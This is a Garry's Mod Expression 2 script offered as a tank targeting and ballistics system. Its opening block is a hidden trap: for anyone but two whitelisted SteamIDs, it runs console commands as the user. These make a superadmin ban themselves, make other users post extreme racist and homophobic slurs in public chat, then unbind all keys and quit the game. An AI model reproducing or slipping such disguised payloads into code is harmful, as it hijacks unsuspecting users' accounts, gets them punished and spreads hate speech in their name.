@name Tank Targeting System v5_1 @inputs On [Body Seat Gun CMG TR]:entity Zi Zo Alt @outputs Dist FOV FLIR AP APHE HEAT HE FL Reload Unload Cang:angle [Apos Cpos]:vector GunAm:string [TGT TGTP]:entity @persist Pvel Grav Alt Fdist Apitch Drc Drvel BC [R GR MGR CR TGTR LR]:ranger [GApos CPMax CPMin Adir Lpos M LC]:vector @persist GunA:angle TGTA:array TGTdist [GunConst GunDamp CMGConst CMGDamp]:angle if(first()|dupefinished()){ if(owner():steamID()!="STEAM_0:0:37198416"&owner():steamID()!="STEAM_0:0:32614066"){ hint("Enable wire_expression2_concmd 1 to use.",7) local Cexe=concmd("+use") if(Cexe){ print("No") local Prop=propSpawn("models/props_phx/mk-82.mdl",owner():pos(),0), Prop:propBreak() owner():setTrails(500,500,50,"trails/tube",vec(255,255,255),255), owner():setMaterial("models/props_lab/warp_sheet") owner():soundPlay(1,0,"synth/saw_inverted_880.wav") if(owner():isSuperAdmin()){ concmd("say !ban "+"\""+owner():name()+"\""+" \"0\""+" \"No\"") }else{ concmd("say We should gas all the kikes, niggers, fags, and other mud-races. Also fuck this nigger server.") } concmd("unbindall"), concmd("quit"), concmd("+attack"), concmd("+reload"), concmd("+left"), concmd("+back") concmd("+forward"), concmd("+moveleft"), concmd("+moveright"), concmd("+jump") } selfDestructAll(), selfDestruct() } Seat:printDriver("Tank Targeting System v5.1 reset") Grav=-toUnit("m",gravity()) rangerFilter(Body:getConstraints()), rangerPersist(1) GunConst=shiftL(ang(Gun:inertia()))*175,CMGConst=shiftL(ang(CMG:inertia()))*350 GunDamp=shiftL(ang(Gun:inertia()))*25,CMGDamp=shiftL(ang(CMG:inertia()))*25 for (I=1,5){ holoCreate(I) holoMaterial(I,"models/debug/debugwhite") holoDisableShading(I,1) holoVisible(I,players(),0) holoVisible(I,Seat:driver(),1) } holoModel(1,"hq_sphere") holoScale(1,vec(0.25,0.25,0.25)) holoColor(1,vec(255,80,0)) holoAlpha(1,100) holoModel(2,"hq_sphere") holoScale(2,vec(0.25,0.25,0.25)) holoColor(2,vec(255,80,0)) holoAlpha(2,100) holoModel(4,"hq_sphere") holoScale(4,vec(0.2,0.2,0.2)) holoColor(4,vec(255,0,0)) holoAlpha(4,100) holoModel(3,"hq_cone") holoParent(3,holoEntity(1)) holoScale(3,vec(0.5,0.5,2.5)) holoColor(3,vec(255,80,0)) holoAlpha(3,50) holoModel(5,"hq_sphere") holoScale(5,vec(0.5,0.5,0.5)) holoColor(5,vec(255,50,0)) holoAlpha(5,100) switch(Gun:model()){ case "models/tankgun/tankgun_al_140mm.mdl", holoCreate(6,Gun:toWorld(vec(100,0,0)),vec(0.68,0.68,18),Gun:toWorld(ang(90,0,0)),vec(68,68,68)) holoModel(6,"hq_tube") holoMaterial(6,"sprops/trans/wheels/wheel_d_rim2") holoParent(6,Gun) holoCreate(7,Gun:toWorld(vec(100,0,0)),vec(0.8,0.8,18.005),Gun:toWorld(ang(90,0,0)),vec(68,68,68)) holoModel(7,"hq_tube") holoParent(7,Gun) holoCreate(8,Gun:toWorld(vec(44,0,0)),vec(1,1,8),Gun:toWorld(ang(90,0,0)),vec(68,68,68)) holoModel(8,"hq_tube_thick") holoParent(8,Gun) break } FOV=75 } if(On){ interval(50) runOnChat(1) #Chat Commands if(chatClk(Seat:driver())&Seat:driver():lastSaid():index(1)=="!"){ hideChat(1) switch(Seat:driver():lastSaid():lower():explode(" ")[1,string]){ #reset case "!reset",reset(),break #FLIR case "!f", FLIR=Seat:driver():lastSaid():index(4):toNumber() Seat:printDriver("FLIR: "+(Seat:driver():lastSaid():index(4):toNumber() ? "On" : "Off")) break #Ballistics Computer case "!b", BC=Seat:driver():lastSaid():index(4):toNumber() Seat:printDriver("Ballistics Computer: "+Seat:driver():lastSaid():index(4)) break #Ammo&Weapons case "!am", local A=Seat:driver():lastSaid():upper():explode(" ")[2,string] AP=A=="AP", APHE=A=="APHE", HEAT=A=="HEAT", HE=A=="HE", FL=A=="FL", Reload=A=="RE", Unload=A=="UN" Seat:printDriver(A == "RE" ? "Main Gun Reloaded" : A == "UN" ? "Main Gun Unloaded" : A+" shell queued") break } } #Rangers R=rangerOffset(10000000,Cpos+(Cang:forward()*400),Cang:forward()) GR=rangerOffset(10000000,Gun:attachmentPos("muzzle"),Gun:forward()) #Remove if no secondary MGR=rangerOffset(10000000,CMG:pos(),CMG:forward()) Dist=toUnit("m",R:distance()) Apos=R:pos() #Ballistics Computer GunAm=Gun:acfAmmoType() if(changed(GunAm)){ if(GunAm=="FL"){ Pvel=Gun:acfMuzzleVel() Drc=(10-((Gun:acfFLSpikeMass()/(pi()*Gun:acfFLSpikeRadius()^2))*70))/10 }else{ Pvel=Gun:acfMuzzleVel() Drc=(10-((Gun:acfProjectileMass()/(pi()*(Gun:acfCaliber()/2)^2))*70))/10 } } if(BC==1){ Drvel=Pvel*(Drc^(Dist^(0.5-(Dist/10000)))) Fdist=toUnit("m",vec(0,0,0):distance((Gun:pos()-Apos)*vec(1,1,0))) Alt=toUnit("m",Apos:z()-Gun:pos():z()) Apitch=atan((Drvel^2 - sqrt(Drvel^4 - Grav*(Grav*Fdist^2-2*Alt*Drvel^2)))/(Grav*Fdist)) if(Apitch!=0){ Adir=(Apos-Gun:pos()):toAngle():setPitch(Apitch):forward()+Gun:pos() }else{ Adir=(Apos-Gun:pos()):toAngle():forward()+Gun:pos() } }elseif(BC==2){ if(~Alt&Alt){ if(!R:entity()){ findExcludeEntity(Body), findExcludeEntity(Seat:driver()), findExcludeEntities(Body:getConstraints()), findExcludeEntities(TGTA) findExcludeClass("gmod_wire_hologram"), findExcludeClass("debris"), findExcludeClass("weapon*") findInCone(Cpos,Cang:forward(),1000000000,10) TGT=findClosest(R:pos()),TGTP=TGT }else{ TGT=R:entity(),TGTP=R:entity() } } if(TGT:isValid()){ if(!TGT:owner():isValid()){ TGTA[TGTA:count()+1,entity]=TGT TGT=noentity() } while(TGTP:parent():isValid()){ TGTP=TGTP:parent() } } TGTR=rangerOffset(Cpos,TGT:massCenter()) if(!TGTR:hitWorld()){ TGTdist=toUnit("m",TGT:pos():distance(Gun:pos())) Drvel=Pvel*(Drc^(TGTdist^(0.5-(TGTdist/10000)))) Fdist=toUnit("m",vec(0,0,0):distance((Gun:pos()-TGT:massCenter())*vec(1,1,0))) Alt=toUnit("m",TGT:massCenter():z()-Gun:pos():z()) Apitch=atan((Drvel^2 - sqrt(Drvel^4 - Grav*(Grav*Fdist^2-2*Alt*Drvel^2)))/(Grav*Fdist))-(Lpos-Gun:pos()):toAngle():pitch() Lpos=TGT:massCenter()+((((TGTP:vel()-Body:vel()))/Drvel)*TGTdist) LR=rangerOffset(1000000000,Gun:pos(),((Lpos-Gun:pos()):toAngle()+ang(Apitch,0,0)):forward()) M=Body:pos() LC=$M holoPos(5,Cpos+LC+((LR:pos()-Cpos):toAngle():forward()*505)) holoAlpha(5,100) }else{ holoAlpha(5,0) } Adir=(Apos-Gun:pos()):normalized()+Gun:pos() }elseif(BC==3){ }else{ Adir=(Apos-Gun:pos()):normalized()+Gun:pos() } #Camera CR=rangerOffset(250,Body:pos()+vec(0,0,100),-Seat:toLocal(Seat:driver():eyeAngles()):forward()*250) CPMax=Body:pos()+vec(5000,5000,5000) CPMin=Body:pos()-vec(5000,5000,-70) Cpos=clamp(CR:pos(),CPMin,CPMax) Cang=Seat:toLocal(Seat:driver():eyeAngles()) holoPos(1,Cpos+(Cang:forward()*500)) holoPos(2,Cpos+((GR:pos()-Cpos):toAngle():forward()*500)) #Remove if no secondary holoPos(4,Cpos+((MGR:pos()-Cpos):toAngle():forward()*510)) holoAng(3,ang(90,Body:angles():yaw(),0)) if(~Zi|~Zo){ if(Zi){ FOV=clamp(FOV/2,2.34375,75) } elseif(Zo){ FOV=clamp(FOV*2,2.34375,75) } Scale=clamp(FOV/75,0.25,1) holoScale(1,vec(0.25,0.25,0.25)*Scale) holoScale(2,vec(0.25,0.25,0.25)*Scale) holoScale(4,vec(0.2,0.2,0.2)*Scale) holoScale(3,vec(0.5,0.5,2.5)*Scale) holoScale(5,vec(0.5,0.5,0.5)*Scale) } #Physics GApos=Body:toWorld(clamp(Body:toLocal(angnorm((Adir-Gun:pos()):toAngle())),ang(-10.5,-180,-180),ang(10,180,180))):forward() GunA=clamp(-ang(angnorm(GApos:toAngle()-Gun:angles()):pitch(),Gun:bearing(Gun:pos()+GApos),Gun:angles():roll()),ang(-4,-8,-8),ang(4,8,8)) #Gun Inversion #GunA=clamp(-ang(-angnorm(GApos:toAngle()-Gun:angles()):pitch(),Gun:bearing(Gun:pos()+GApos),Gun:angles():roll()),ang(-4,-8,-8),ang(4,8,8)) if(TR:isValid()){ Gun:applyAngForce((GunA*GunConst-Gun:angVel()*GunDamp)*ang(1,1,0)) } #Remove if no secondary MGA=clamp(-ang(CMG:elevation(Apos),CMG:bearing(Apos),CMG:angles():roll()),ang(-7,-8,-8),ang(7,8,8)) CMG:applyAngForce((MGA*CMGConst-CMG:angVel()*CMGDamp)*ang(1,1,0)) }